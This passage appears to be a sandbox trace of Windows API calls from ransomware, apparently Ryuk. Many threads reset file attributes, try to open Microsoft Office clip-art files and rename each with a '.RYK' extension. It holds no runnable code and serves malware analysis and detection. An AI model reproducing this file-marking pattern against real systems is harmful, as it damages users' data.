	[0278.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.582] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3923
	os_tid = 0x42d8

	[0278.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF", dwFileAttributes=0x80) returned 0
	[0278.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.909] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3924
	os_tid = 0x42dc

	[0278.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF", dwFileAttributes=0x80) returned 0
	[0278.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.910] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3925
	os_tid = 0x42e0

	[0278.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF", dwFileAttributes=0x80) returned 0
	[0278.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.911] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.911] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3926
	os_tid = 0x42e4

	[0278.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF", dwFileAttributes=0x80) returned 0
	[0278.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.913] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3927
	os_tid = 0x42e8

	[0278.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF", dwFileAttributes=0x80) returned 0
	[0278.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.914] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3928
	os_tid = 0x42ec

	[0278.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF", dwFileAttributes=0x80) returned 0
	[0278.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.915] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3929
	os_tid = 0x42f0

	[0278.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF", dwFileAttributes=0x80) returned 0
	[0278.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.916] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3930
	os_tid = 0x42f4

	[0278.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF", dwFileAttributes=0x80) returned 0
	[0278.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.917] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3931
	os_tid = 0x42f8

	[0278.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF", dwFileAttributes=0x80) returned 0
	[0278.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.919] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3932
	os_tid = 0x42fc

	[0278.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF", dwFileAttributes=0x80) returned 0
	[0278.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.920] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3933
	os_tid = 0x4300

	[0278.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF", dwFileAttributes=0x80) returned 0
	[0278.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.921] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3934
	os_tid = 0x4304

	[0278.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF", dwFileAttributes=0x80) returned 0
	[0278.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.922] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3935
	os_tid = 0x4308

	[0278.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF", dwFileAttributes=0x80) returned 0
	[0278.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.924] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3936
	os_tid = 0x430c

	[0278.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF", dwFileAttributes=0x80) returned 0
	[0278.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.925] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3942
	os_tid = 0x4324

	[0278.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF", dwFileAttributes=0x80) returned 0
	[0278.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.927] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3943
	os_tid = 0x4328

	[0278.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF", dwFileAttributes=0x80) returned 0
	[0278.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.929] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3944
	os_tid = 0x432c

	[0278.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF", dwFileAttributes=0x80) returned 0
	[0279.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.038] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3945
	os_tid = 0x4330

	[0278.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF", dwFileAttributes=0x80) returned 0
	[0279.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.036] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3946
	os_tid = 0x4334

	[0278.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF", dwFileAttributes=0x80) returned 0
	[0279.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.035] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.035] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3947
	os_tid = 0x4338

	[0278.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF", dwFileAttributes=0x80) returned 0
	[0279.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.033] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.033] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3948
	os_tid = 0x433c

	[0278.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF", dwFileAttributes=0x80) returned 0
	[0279.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.031] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3949
	os_tid = 0x4340

	[0278.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF", dwFileAttributes=0x80) returned 0
	[0279.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.030] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3950
	os_tid = 0x4344

	[0278.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF", dwFileAttributes=0x80) returned 0
	[0279.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.028] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3951
	os_tid = 0x4348

	[0278.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF", dwFileAttributes=0x80) returned 0
	[0279.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0279.238] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0279.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3952
	os_tid = 0x434c

	[0278.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF", dwFileAttributes=0x80) returned 0
	[0278.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.939] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3953
	os_tid = 0x4350

	[0278.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG", dwFileAttributes=0x80) returned 0
